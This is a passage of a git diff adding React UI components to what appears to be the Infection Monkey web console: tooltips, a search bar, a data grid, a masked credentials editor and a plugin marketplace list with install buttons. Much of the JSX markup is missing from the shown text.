} + ); + + if (isOverflow) { + return ( + +
    setTooltipEnabled(false)}> + {children} +
    +
    + ) + } + + return {children}; +}; + +export default MonkeyTooltip; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js index f88597b60a2..63c9bf86c65 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ParticleBackground.js @@ -1,7 +1,18 @@ import Particles from 'react-tsparticles'; import {particleParams} from '../../styles/components/particle-component/ParticleBackgroundParams'; -import React from 'react'; +import React, {useCallback} from 'react'; +import {loadFull} from 'tsparticles'; export default function ParticleBackground() { - return (); + const particlesInit = useCallback(async engine => { + await loadFull(engine); + }, []); + + const particlesLoaded = useCallback(async container => { + await container; + }, []); + + return ( + + ); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SearchBar.js b/monkey/monkey_island/cc/ui/src/components/ui-components/SearchBar.js new file mode 100644 index 00000000000..2f5102b2c8e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SearchBar.js @@ -0,0 +1,59 @@ +import React, {useEffect, useState} from 'react'; +import {Box, IconButton, InputAdornment, TextField} from '@mui/material'; +import SearchIcon from '@mui/icons-material/Search'; +import ClearIcon from '@mui/icons-material/Clear'; +import {nanoid} from 'nanoid'; + +const EMPTY_STRING = ''; +const DEFAULT_VARIANT = 'standard'; +const DEFAULT_PLACEHOLDER = 'Search'; + +const SearchBar = (props) => { + const {variant = DEFAULT_VARIANT, placeholder = DEFAULT_PLACEHOLDER, + label = null, setQuery, ...rest} = {...props}; + const [currentValue, setCurrentValue] = useState(EMPTY_STRING); + + useEffect(() => { + setQuery && setQuery(currentValue); + }, [currentValue]); + + const handleValueChange = (e) => { + const currentValue = e?.target?.value?.trim() || EMPTY_STRING; + setCurrentValue(currentValue); + } + + const clearValue = () => { + setCurrentValue(EMPTY_STRING); + } + + return ( + + + + + ), + endAdornment: ( + currentValue !== '' && ( + + + + + + ) + ) + }} + {...rest}/> + + ) +} + +export default SearchBar; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx index 88d1b4977c3..cd4cb3e427f 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx @@ -1,19 +1,17 @@ -import React, {useState} from 'react'; -import {InputGroup, FormControl} from 'react-bootstrap'; +import React from 'react'; +import {InputGroup} from 'react-bootstrap'; function SensitiveTextInput(props){ return ( -
    {props.inputComponent} - - + + -
    ); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/XDataGrid.js b/monkey/monkey_island/cc/ui/src/components/ui-components/XDataGrid.js new file mode 100644 index 00000000000..f86259b7c5a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/XDataGrid.js @@ -0,0 +1,236 @@ +import React, {useEffect, useMemo, useState} from 'react'; +import {DataGrid, gridFilteredTopLevelRowCountSelector, GridToolbar, GridToolbarContainer} from '@mui/x-data-grid'; +import CustomNoRowsOverlay from './utils/GridNoRowsOverlay'; +import _ from 'lodash'; +import '../../styles/components/XDataGrid.scss'; +import MonkeyTooltip from './MonkeyTooltip'; + +const X_DATA_GRID_CLASS = 'x-data-grid'; +const DEFAULT_PAGE_SIZE = 10; +const PAGE_SIZE_OPTIONS = [10, 25, 50, 100]; +const DEFAULT_MIN_WIDTH = 150; +const DEFAULT_MAX_WIDTH = DEFAULT_MIN_WIDTH; +const IS_TEXTUAL = 'isTextual'; +const RENDER_CELL = 'renderCell'; +const WIDTH = 'width'; +const MIN_WIDTH = 'minWidth'; +const MAX_WIDTH = 'maxWidth'; +const TOOLBAR = 'toolbar'; +const HIDDEN = 'hidden'; +const HIDE_TOOLBAR_ACTIONS = 'toolbar-actions-hidden'; +const HEADER_CLASS_NAME = 'headerClassName'; +const CELL_CLASS_NAME = 'cellClassName'; +const COLUMN_WIDTH = {min: DEFAULT_MIN_WIDTH, max: DEFAULT_MAX_WIDTH}; +const FLEX_VALUES = { + 0: 'flex-0', + '0.5': 'flex-0.5', + 1: 'flex-1' +} + +const gridInitialState = { + pagination: {paginationModel: {pageSize: DEFAULT_PAGE_SIZE}} +}; + +const setColumnClass = (column, classToAppend) => { + column[HEADER_CLASS_NAME] = column[HEADER_CLASS_NAME] ? `${column[HEADER_CLASS_NAME]} ${classToAppend}` : classToAppend; + column[CELL_CLASS_NAME] = column[CELL_CLASS_NAME] ? `${column[CELL_CLASS_NAME]} ${classToAppend}` : classToAppend; +} + +const prepareColsClasses = (columns, setFlex) => { + let updatedColumns = _.cloneDeep(columns) || []; + updatedColumns?.forEach((col) => { + if (col[MAX_WIDTH] === Infinity) { + setColumnClass(col, X_DATA_GRID_CLASSES.MAX_WIDTH_NONE); + } + + if (setFlex) { + if (col?.flexValue >= 0) { + setColumnClass(col, FLEX_VALUES[col.flexValue] || FLEX_VALUES[1]); + } else { + setColumnClass(col, FLEX_VALUES[1]); + } + } + }); + + return updatedColumns; +} + +const prepareColsWidth = (columns, columnWidth, setColWidth) => { + const colWidth = getColumnWidth(columnWidth); + let updatedColumns = _.cloneDeep(columns) || []; + if (setColWidth) { + updatedColumns?.forEach((col) => { + if (!(WIDTH in col)) { + if (!(MIN_WIDTH in col)) { + col[MIN_WIDTH] = colWidth?.min || DEFAULT_MIN_WIDTH; + } + if (!(MAX_WIDTH in col) && colWidth?.max >= 0) { + col[MAX_WIDTH] = colWidth?.max || DEFAULT_MAX_WIDTH; + } else { + col[MAX_WIDTH] = Infinity; + } + } + }); + } + return updatedColumns; +} + +const prepareColsCustomTooltip = (columns) => { + let updatedColumns = _.cloneDeep(columns) || []; + updatedColumns?.forEach((col)=>{ + if(col[IS_TEXTUAL]) { + // eslint-disable-next-line react/display-name + col[RENDER_CELL] = (params) => ( + params?.value ? ( + + {params?.value?.toString()} + + ) : undefined + ) + } + }); + return updatedColumns; +} + +const prepareSlots = (toolbar, showToolbar) => { + let slotsObj = { + noRowsOverlay: CustomNoRowsOverlay, + noResultsOverlay: CustomNoRowsOverlay, + baseTooltip: MonkeyTooltip + }; + + if (showToolbar) { + slotsObj[TOOLBAR] = toolbar || GridToolbar; + } + + return slotsObj; +} + +const getColumnWidth = (columnWidth) => { + const colWidth = {...COLUMN_WIDTH, ...columnWidth}; + if (colWidth?.max < colWidth?.min && colWidth?.max >= 0) { + colWidth.max = colWidth.min; + } else if (colWidth?.min > colWidth?.max && colWidth?.max >= 0) { + colWidth.min = colWidth.max; + } + + return colWidth; +} + +const XDataGrid = (props) => { + const { + columns = [], + rows = [], + initialState = _.cloneDeep(gridInitialState), + toolbar, + density = X_DATA_GRID_DENSITY.STANDARD, + showToolbar = true, + disableColumnFilter = false, + disableDensitySelector = true, + disableColumnMenu = true, + hideHeaders = false, + setColWidth = true, + setFlex = true, + sortingOrder = ['asc', 'desc'], + height, + maxHeight, + rowHeight, + columnWidth, + className, + needCustomWorkaround = true, + noRowsOverlayMessage, + ...rest + } = {...props} + + const [updatedInitialState, setUpdatedInitialState] = useState(initialState) + const [slots, setSlots] = useState({}); + const [gridVisibleFilteredRowsCount, setGridVisibleFilteredRowsCount] = useState(0); + const [hidePagination, setHidePagination] = useState(false); + const [isDataEmpty, setIsDataEmpty] = useState(false); + + const gridWrapperClassName = className ? `${X_DATA_GRID_CLASS} ${className}` : X_DATA_GRID_CLASS; + const sx = {maxHeight: maxHeight || height || 'auto'}; + + const updatedColumns = useMemo(() => { + const mutatedColumns = prepareColsCustomTooltip(columns); + return needCustomWorkaround ? prepareColsClasses(prepareColsWidth(mutatedColumns, columnWidth, setColWidth), setFlex) : mutatedColumns; + }, [columns]); + + useEffect(() => { + setSlots(prepareSlots(toolbar, showToolbar)); + prepareInitialState(); + }, []); + + useEffect(() => { + setHidePagination(rows?.length <= DEFAULT_PAGE_SIZE); + setIsDataEmpty(rows?.length === 0) + }, [rows?.length]) + + const prepareInitialState = () => { + setUpdatedInitialState(Object.assign(_.cloneDeep(gridInitialState), initialState)); + } + + const handleGridState = (state) => { + const visibleFilteredRowsCount = state ? (gridFilteredTopLevelRowCountSelector(state) || 0) : 0; + setGridVisibleFilteredRowsCount(visibleFilteredRowsCount); + } + + return ( +
    + rowHeight || 'auto'} + density={density} + slots={slots} + sortingOrder={sortingOrder} + disableRowSelectionOnClick + disableColumnFilter={disableColumnFilter} + disableDensitySelector={disableDensitySelector} + disableColumnMenu={disableColumnMenu} + hideFooter={hidePagination} + hideFooterPagination={hidePagination} + classes={{ + columnHeaders: isDataEmpty || hideHeaders ? HIDDEN : '', + toolbarContainer: isDataEmpty ? HIDE_TOOLBAR_ACTIONS : '' + }} + slotProps={{toolbar: {printOptions: {disableToolbarButton: true}}, noRowsOverlay: {message: noRowsOverlayMessage}}} + sx={sx} + {...rest} + /> +
    + ); +} + +export default XDataGrid; + +export const X_DATA_GRID_DENSITY = { + COMPACT: 'compact', + STANDARD: 'standard', + COMFORTABLE: 'comfortable' +} + +export const X_DATA_GRID_CLASSES = { + MAX_WIDTH_NONE: 'max-width-none', + HIDDEN_LAST_EMPTY_CELL: 'last-empty-cell-hidden' +} + +export const XDataGridTitle = ({title, showDataActionsToolbar = false}) => { + return ( + +
    + {title &&
    {title}
    } + { + showDataActionsToolbar &&
    + +
    + } +
    +
    + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/base-components/Color.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/base-components/Color.tsx new file mode 100644 index 00000000000..f493e6bfc81 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/base-components/Color.tsx @@ -0,0 +1,11 @@ +enum ComponentColor { + Inherit = 'inherit', + Primary = 'primary', + Secondary = 'secondary', + Success = 'success', + Error = 'error', + Info = 'info', + Warning = 'warning', +} + +export default ComponentColor; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/CredentialPairs.js b/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/CredentialPairs.js new file mode 100644 index 00000000000..8c2c99c163a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/CredentialPairs.js @@ -0,0 +1,241 @@ +import React, {useEffect, useState} from 'react'; +import XDataGrid, {X_DATA_GRID_CLASSES} from '../XDataGrid'; +import SaveIcon from '@mui/icons-material/Save'; +import CancelIcon from '@mui/icons-material/Cancel'; +import EditIcon from '@mui/icons-material/Edit'; +import DeleteIcon from '@mui/icons-material/Delete'; +import VisibilityIcon from '@mui/icons-material/Visibility'; +import VisibilityOffIcon from '@mui/icons-material/VisibilityOff'; +import {Accordion, AccordionDetails, Typography} from '@mui/material'; +import {GridActionsCellItem, GridRowEditStopReasons, GridRowModes} from '@mui/x-data-grid'; +import { + COLUMN_WIDTH, + CREDENTIALS_ROW_KEYS, + getDataColumns, + IDENTITY_KEY, + isAllValuesInRowAreEmpty, + isRowDuplicated, + setErrorsForRow, + trimRowValues +} from './credentialPairsHelper'; +import NewCredentialPair from './NewCredentialPair'; +import {useStateCallback} from '../utils/useStateCallback'; +import {nanoid} from 'nanoid'; + +const initialState = { + sorting: { + sortModel: [{field: 'identity', sort: 'asc'}] + } +}; + +const CredentialPairs = (props) => { + const {onCredentialChange, credentials} = {...props}; + const [rowModesModel, setRowModesModel] = useStateCallback({}); + const [rows, setRows] = useStateCallback(credentials?.credentialsData || []); + const [errors, setErrors] = useStateCallback([]); + const [previousCredentialsId, setPreviousCredentialsId] = useState(credentials.id); + const [showSecrets, setShowSecrets] = useState(false); + + useEffect(() => { + if (previousCredentialsId !== credentials.id) { + setRows(credentials.credentialsData); + setPreviousCredentialsId(credentials.id); + } + }); + + const setErrorForRow = (rowId, isAddingError = true) => { + setErrors((prevState) => { + return setErrorsForRow(prevState, rowId, isAddingError) + }, + s => onCredentialChange({credentialsData: [...rows], errors: [...s]}) + ); + } + + const getRowActions = (rowId) => { + const isInEditMode = rowModesModel[rowId]?.mode === GridRowModes.Edit; + + if (isInEditMode) { + return [ + } + label="Save" + sx={{ + color: 'primary.main' + }} + disabled={errors.includes(rowId)} + onClick={handleSaveClick(rowId)} + />, + } + label="Cancel" + className="textPrimary" + onClick={handleCancelClick(rowId)} + color="inherit" + /> + ]; + } + + return [ + } + label="Edit" + className="textPrimary" + onClick={handleEditClick(rowId)} + color="inherit" + />, + } + label="Delete" + onClick={handleDeleteClick(rowId)} + color="inherit" + /> + ]; + } + + const handleRowEditStop = (params, event) => { + if (params.reason === GridRowEditStopReasons.rowFocusOut) { + event.defaultMuiPrevented = true; + } + }; + + const handleEditClick = (id) => () => { + setRowModesModel({...rowModesModel, [id]: {mode: GridRowModes.Edit}}); + }; + + const handleSaveClick = (id) => () => { + if (!errors.includes(id)) { + setRowModesModel({ + ...rowModesModel, + [id]: {mode: GridRowModes.View} + }, () => onCredentialChange({credentialsData: [...rows], errors: [...errors]})); + } + }; + + const handleDeleteClick = (id) => () => { + setRows(rows.filter((row) => row.id !== id), + s => onCredentialChange({credentialsData: [...s], errors: [...errors]})); + }; + + const handleCancelClick = (id) => () => { + setRowModesModel({ + ...rowModesModel, + [id]: {mode: GridRowModes.View, ignoreModifications: true} + }); + + setErrors(errors.filter((rowId) => rowId !== id), s => onCredentialChange({ + credentialsData: [...rows], + errors: [...s] + })); + }; + + const processRowUpdate = (newRow) => { + const updatedRow = trimRowValues({...newRow, isNew: false}); + const isRowEmpty = isAllValuesInRowAreEmpty(updatedRow); + + let isRowDuplicate = false; + for (let existingRow of rows) { + if (isRowDuplicated(newRow, existingRow)) { + isRowDuplicate = true; + break; + } + } + + if(!isRowEmpty && !isRowDuplicate) { + setRows(rows.map((row) => (row.id === newRow.id ? updatedRow : row)), s => onCredentialChange({ + credentialsData: [...s], + errors: [...errors] + })); + } + + return updatedRow; + }; + + const handleRowModesModelChange = (newRowModesModel) => { + setRowModesModel(newRowModesModel); + }; + + const clearNewRowPropertyValue = (newRow, key) => { + newRow[key] = ''; + return isAllValuesInRowAreEmpty(newRow, ['identity']); + } + + const upsertRow = (newRow) => { + let newRowCopy = {...newRow}; + let isNewRowFullyMerged = false; + setRows((prevState) => { + let foundDuplicatedRow = false; + let newRowsArr = prevState.map(existingRow => { + if (isRowDuplicated(newRowCopy, existingRow)) { + foundDuplicatedRow = true; + } else if (!foundDuplicatedRow && (existingRow.identity === newRowCopy.identity)) { // If the identity values match + const mergedRow = {...existingRow}; // Create a copy of the existing row + + for (const key of CREDENTIALS_ROW_KEYS) { + if (key !== IDENTITY_KEY) { + if (mergedRow[key] === '') { // If the key is not identity and existing value is empty + mergedRow[key] = newRowCopy[key]; // Update the value in the merged row + if(newRowCopy[key]){ + isNewRowFullyMerged = clearNewRowPropertyValue(newRowCopy, key); + } + } else if (mergedRow[key] === newRowCopy[key]) { + isNewRowFullyMerged = clearNewRowPropertyValue(newRowCopy, key); + } + } + } + + return mergedRow; // Return the merged row + } + + return existingRow; // Return the existing row as is + }); + + if(!foundDuplicatedRow && !isAllValuesInRowAreEmpty(newRowCopy) && !isNewRowFullyMerged) { + newRowsArr.push(newRowCopy); + } + + return newRowsArr; + }, + s => onCredentialChange({credentialsData: [...s], errors: [...errors]}) + ); + } + + const rowActionsHeaderComponent =
    setShowSecrets(prevState => !prevState)}>{showSecrets ? + : }
    ; + + return ( +
    + Credentials input + + + + + + + + Saved Credentials + void(0)} + getRowClassName={() => X_DATA_GRID_CLASSES.HIDDEN_LAST_EMPTY_CELL} + className="configured-credentials" + initialState={initialState} + setFlex={false} + /> +
    + ); +} + +export default CredentialPairs; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/NewCredentialPair.js b/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/NewCredentialPair.js new file mode 100644 index 00000000000..42a7fc451e8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/NewCredentialPair.js @@ -0,0 +1,108 @@ +import React, {useEffect, useState, useCallback} from 'react'; +import {nanoid} from 'nanoid'; +import XDataGrid, {X_DATA_GRID_CLASSES} from '../XDataGrid'; +import {GridRowEditStopReasons, GridRowModes} from '@mui/x-data-grid'; +import SaveIcon from '@mui/icons-material/Save'; +import { Button } from '@mui/material'; +import { + getDataColumns, isAllValuesInRowAreEmpty, + setErrorsForRow, trimRowValues +} from './credentialPairsHelper'; + +const getEmptyRow = () => { + return [ + { + id: nanoid(), + identity: '', + password: '', + lm: '', + ntlm: '', + ssh_public_key: '', + ssh_private_key: '', + isNew: true + } + ] +} + +const NewCredentialPair = (props) => { + const {upsertRow} = {...props} + + const [rowModesModel, setRowModesModel] = useState({}); + const [rows, setRows] = useState(getEmptyRow()); + const [errors, setErrors] = useState([]); + + useEffect(() => { + const newRowId = rows[0].id; + setRowModesModel({...rowModesModel, [newRowId]: {mode: GridRowModes.Edit, fieldToFocus: 'identity'}}); + }, [rows?.[0]?.id]); + + const setErrorForRow = (rowId, isAddingError = true) => { + setErrors((prevState) => { + return setErrorsForRow(prevState, rowId, isAddingError) + }); + } + + const handleAddRowClick = (id) => () => { + setRowModesModel({...rowModesModel, [id]: {mode: GridRowModes.View}}); + }; + + const processRowUpdate = useCallback( + (newRow, oldRow) => + new Promise((resolve, reject) => { + const newRowCopy = trimRowValues({...newRow}); + if(!isAllValuesInRowAreEmpty(newRowCopy)) { + upsertRow(newRowCopy); + setRows(getEmptyRow()); + resolve(newRowCopy); + } else { + setRows([{...oldRow}]); + reject(oldRow); + } + }), + [] + ); + + const handleRowModesModelChange = (newRowModesModel) => { + setRowModesModel(newRowModesModel); + }; + + const handleRowEditStop = (params, event) => { + if (params.reason === GridRowEditStopReasons.rowFocusOut) { + event.defaultMuiPrevented = true; + } + }; + + return ( +
    + {void 0;}} + getRowClassName={() => X_DATA_GRID_CLASSES.HIDDEN_LAST_EMPTY_CELL} + className={'add-new-credentials-row'} + setFlex={false} + /> +
    + +
    + ); +} + +export default NewCredentialPair; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/credentialPairsHelper.js b/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/credentialPairsHelper.js new file mode 100644 index 00000000000..b60af90cb34 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/credential-pairs/credentialPairsHelper.js @@ -0,0 +1,169 @@ +import React, {useCallback, useLayoutEffect, useState} from 'react'; +import {InputBase} from '@mui/material'; +import {useGridApiContext} from '@mui/x-data-grid'; + +export const CREDENTIALS_ROW_KEYS = ['identity', 'password', 'lm', 'ntlm', 'ssh_public_key', 'ssh_private_key']; +export const IDENTITY_KEY = 'identity'; +export const COLUMN_WIDTH = 166.5; + +const HIDDEN_PASSWORD_STRING = '*****'; + +const multilineColumn = { + type: 'string', + renderEditCell: (params) => +}; + +const valueFormatter = (showSecrets = false) => { + return { + valueFormatter: (params) => { + if (!params.value || showSecrets) { + return params.value; + } + return HIDDEN_PASSWORD_STRING; + } + } +} +const EditTextarea = (props) => { + const {id, field, value, hasFocus, error} = props; + const [valueState, setValueState] = useState(value); + const [inputRef, setInputRef] = useState(null); + const apiRef = useGridApiContext(); + + useLayoutEffect(() => { + if (hasFocus && inputRef) { + inputRef.focus(); + } + }, [hasFocus, inputRef]); + + const handleChange = useCallback( + (event) => { + const newValue = event.target.value; + setValueState(newValue); + apiRef.current.setEditCellValue( + {id, field, value: newValue, debounceMs: 200}, + event + ); + }, + [apiRef, field, id] + ); + + const keyPress = (e) => { + if (e.keyCode === 13) { + e.preventDefault(); + } + } + + return ( + setInputRef(ref)} + /> + ); +} + +export const getMainColumns = (setErrorForRow, showSecrets) => { + return [ + {headerName: 'Identity', field: 'identity', editable: true}, + {headerName: 'Password', field: 'password', editable: true, ...valueFormatter(showSecrets)}, + {headerName: 'LM', field: 'lm', editable: true, ...valueFormatter(showSecrets)}, + {headerName: 'NTLM', field: 'ntlm', editable: true, ...valueFormatter(showSecrets)}, + {headerName: 'SSH Public key', field: 'ssh_public_key', editable: true, ...multilineColumn, ...valueFormatter(showSecrets)}, + {headerName: 'SSH Private key', field: 'ssh_private_key', editable: true, ...multilineColumn, ...valueFormatter(showSecrets), + preProcessEditCellProps: (params) => { + const isSSHPublicKeyProps = params.otherFieldsProps.ssh_public_key; + const hasError = isSSHPublicKeyProps.value && !params.props.value; + if (setErrorForRow) { + hasError ? setErrorForRow(params.id, true) : setErrorForRow(params.id, false); + } + return {...params.props, error: hasError}; + } + } + ]; +}; + +export const updateFilterAndSortPropertiesToColumn = (col, filterable = true, sortable = true) => { + const colObj = {...col}; + colObj['filterable'] = filterable; + colObj['sortable'] = sortable; + return colObj; +}; + +export const getDataColumns = (getRowActions, disableAllColumnsFilterAndSort, setErrorForRow, rowActionsHeaderComponent, showSecrets = false) => { + let mainColumns = getMainColumns(setErrorForRow, showSecrets); + + if(typeof getRowActions === 'function'){ + mainColumns.push({ + headerName: '', + field: 'row_actions', + type: 'actions', + minWidth: 100, + flexValue: 0.5, + headerClassName: `row-actions--header`, + cellClassName: `row-actions`, + renderHeader: () => rowActionsHeaderComponent, + getActions: ({id}) => { + return getRowActions(id); + } + }) + } + + return mainColumns.map((col) => { + if (disableAllColumnsFilterAndSort) { + return updateFilterAndSortPropertiesToColumn(col, false, false); + } else { + return col.field === 'identity' ? updateFilterAndSortPropertiesToColumn(col) : updateFilterAndSortPropertiesToColumn(col, false, false); + } + }); +} + +export const isRowDuplicated = (newRow, existingRow) => { + for (const key of CREDENTIALS_ROW_KEYS) { + if (newRow?.[key] !== existingRow?.[key]) { + return false; + } + } + + return true; +} + +export const isAllValuesInRowAreEmpty = (row, keysToIgnore = [], isRowAnEditMode = false) => { + if (row) { + for (const key of CREDENTIALS_ROW_KEYS) { + const value = isRowAnEditMode ? row?.[key]?.value : row?.[key]; + if (!keysToIgnore.includes(key) && value !== '' && value !== undefined) { + return false; + } + } + } + return true; +} + +export const setErrorsForRow = (prevState, rowId, isAddingError) => { + const rowIdIndex = prevState?.indexOf(rowId); + if (isAddingError && rowIdIndex === -1) { + return [...prevState, rowId]; + } else if (!isAddingError && rowIdIndex >= 0) { + let copyOfPrevSate = [...prevState]; + copyOfPrevSate.splice(rowIdIndex, 1); + return copyOfPrevSate; + } + return prevState; +} + +export const trimRowValues = (row) => { + const rowCopy = {...row}; + CREDENTIALS_ROW_KEYS.forEach(key => { + if(rowCopy[key] !== undefined) { + rowCopy[key] = rowCopy[key].trim(); + } else { + rowCopy[key] = ''; + } + }) + return rowCopy; +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js index 174dce25457..dc99a242954 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js @@ -13,10 +13,20 @@ export default function nextSelectionButton(props) {
    diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/AvailablePlugins.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/AvailablePlugins.tsx new file mode 100644 index 00000000000..4ddd96051ac --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/AvailablePlugins.tsx @@ -0,0 +1,218 @@ +import React, {useContext, useEffect, useMemo, useState} from 'react'; +import { + shallowAdditionOfUniqueValueToArray, + shallowRemovalOfUniqueValueFromArray +} from '../../../utils/objectUtils'; +import { + AvailablePlugin, + InstalledPlugin, + PluginsContext +} from '../../contexts/plugins/PluginsContext'; +import {GridActionsCellItem} from '@mui/x-data-grid'; +import FileDownloadIcon from '@mui/icons-material/FileDownload'; +import DownloadDoneIcon from '@mui/icons-material/DownloadDone'; +import {Box, Grid, Stack} from '@mui/material'; +import PluginTable, { + generatePluginsTableColumns, + generatePluginsTableRows, + PluginRow, +} from './PluginTable'; +import RefreshIcon from '@mui/icons-material/Refresh'; +import styles from '../../../styles/components/plugins-marketplace/AvailablePlugins.module.scss'; +import LoadingIcon from '../LoadingIconMUI'; +import TypeFilter from './TypeFilter'; +import SearchFilter, {defaultSearchableColumns} from './SearchFilter'; +import IslandHttpClient, {APIEndpoint} from '../../IslandHttpClient'; +import InstallAllSafePluginsButton from './InstallAllSafePluginsButton'; +import MonkeyButton, {ButtonVariant} from '../MonkeyButton'; + + +type AvailablePluginRowArray = PluginRow[]; + +export const isPluginInstalled = (availablePlugin :AvailablePlugin, + installedPlugins :InstalledPlugin[]) => { + return ! (installedPlugins.find(installedPlugin => { + return installedPlugin.name === availablePlugin.name + && installedPlugin.pluginType === availablePlugin.pluginType; + }) === undefined); +} + +const NO_AVAILABLE_PLUGINS_MESSAGE = 'There are no available plugins to be installed'; +const FETCHING_ERROR_MESSAGE = 'Couldn\'t fetch available plugins, check your internet connection and try again'; + +const AvailablePlugins = (props) => { + const { + successfullyInstalledPluginsIds = [], + setSuccessfullyInstalledPluginsIds = {}, + pluginsInInstallationProcess = [], + setPluginsInInstallationProcess = {} + } = {...props}; + const {availablePlugins, installedPlugins, + refreshAvailablePlugins, refreshInstalledPlugins, refreshAvailablePluginsFailure} = useContext(PluginsContext); + const [displayedRows, setDisplayedRows] = useState([]); + const [filters, setFilters] = useState({}); + const [isSpinning, setIsSpinning] = useState(false); + + const availablePluginRows :PluginRow[] = useMemo(() => { + return generatePluginsTableRows(availablePlugins); + }, [availablePlugins]); + + useEffect(() => { + setDisplayedRows(availablePluginRows); + setFilters((prevState) => { + return {...prevState, installed: filterInstalledPlugins}; + }); + }, []); + + useEffect(() => { + filterRows(); + }, [availablePlugins, installedPlugins, filters]); + + useEffect(() => { + setFilters((prevState) => { + return {...prevState, installed: filterInstalledPlugins}; + }); + }, [installedPlugins]); + + const filterRows = () => { + let allRows = availablePluginRows; + for (const filter of Object.values(filters)) { + // @ts-ignore + allRows = allRows.filter(filter); + } + setDisplayedRows(allRows); + } + + const filterInstalledPlugins = (row: PluginRow) => { + let availablePlugin = availablePlugins.find(availablePlugin => row.id === availablePlugin.id); + if(availablePlugin === undefined) { + return true; + } + return !isPluginInstalled(availablePlugin, installedPlugins) || + successfullyInstalledPluginsIds.includes(row.id); + } + + const installPlugin = (pluginType: string, pluginName: string, pluginVersion: string) => { + let contents = {plugin_type: pluginType, name: pluginName, version: pluginVersion}; + return IslandHttpClient.putJSON(APIEndpoint.installAgentPlugin, contents, true) + } + + const onInstallClick = (pluginId: string, pluginName: string, + pluginType: string, pluginVersion: string) => { + setPluginsInInstallationProcess((prevState) => { + return shallowAdditionOfUniqueValueToArray(prevState, pluginId); + }); + + installPlugin(pluginType, pluginName, pluginVersion).then(() => { + setSuccessfullyInstalledPluginsIds((prevState) => { + return shallowAdditionOfUniqueValueToArray(prevState, pluginId); + }); + refreshInstalledPlugins(); + }).catch(() => { + console.log('error installing plugin'); + }).finally(() => { + setPluginsInInstallationProcess((prevState) => { + return shallowRemovalOfUniqueValueFromArray(prevState, pluginId); + }); + }); + }; + + const getRowActions = (row) => { + const plugin = availablePlugins.find(plugin => plugin.id === row.id); + if (pluginsInInstallationProcess.includes(plugin.id)) { + return [ + } + label="Downloading" + className="textPrimary" + color="inherit" + /> + ] + } + + if (successfullyInstalledPluginsIds.includes(plugin.id)) { + return [ + } + label="Download Done" + className="textPrimary" + color="inherit" + /> + ] + } + + return [ + } + label="Download" + className="textPrimary" + onClick={() => onInstallClick(plugin.id, plugin.name, plugin.pluginType, plugin.version)} + color="inherit" + /> + ]; + } + + const refreshPlugins = () => { + setIsSpinning(true); + refreshAvailablePlugins(true).then(() => setIsSpinning(false)); + } + + const renderFilters = () => { + if (availablePlugins?.length > 0) { + return ( + <> + + + + + + + + + + + + + + + + + + + + + ) + } + return null; + } + + const getOverlayMessage = () => { + if(refreshAvailablePluginsFailure) { + return FETCHING_ERROR_MESSAGE; + } else if(availablePlugins?.length === 0) { + return NO_AVAILABLE_PLUGINS_MESSAGE; + } + return null; + } + + return ( + + {renderFilters()} + + + ) +}; + +export default AvailablePlugins; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/InstallAllSafePluginsButton.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/InstallAllSafePluginsButton.tsx new file mode 100644 index 00000000000..4a259480894 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/InstallAllSafePluginsButton.tsx @@ -0,0 +1,53 @@ +import React, {useContext, useEffect, useMemo, useState} from 'react'; +import FileDownloadIcon from '@mui/icons-material/FileDownload'; +import LoadingIcon from '../LoadingIconMUI'; +import {PluginsContext} from '../../contexts/plugins/PluginsContext'; +import {isPluginInstalled} from './AvailablePlugins'; +import MonkeyButton, {ButtonVariant} from '../MonkeyButton'; + +type InstallAllSafePluginsButtonProps = { + onInstallClick: (id: string, name: string, pluginType: string, version: string) => void; + pluginsInInstallationProcess: string[]; +} + +const InstallAllSafePluginsButton = (props: InstallAllSafePluginsButtonProps) => { + const {availablePlugins, installedPlugins} = useContext(PluginsContext); + const [installationInProgress, setInstallationInProgress] = useState(false); + + const installableSafePlugins = useMemo(() => { + let safePlugins = availablePlugins.filter(plugin => plugin.safe); + return safePlugins.filter(plugin => { + return !isPluginInstalled(plugin, installedPlugins); + }); + }, [availablePlugins, installedPlugins]); + + const isButtonDisabled = useMemo(() => { + return installableSafePlugins.length === 0; + }, [installableSafePlugins]); + + useEffect(() => { + if (props.pluginsInInstallationProcess.length === 0) 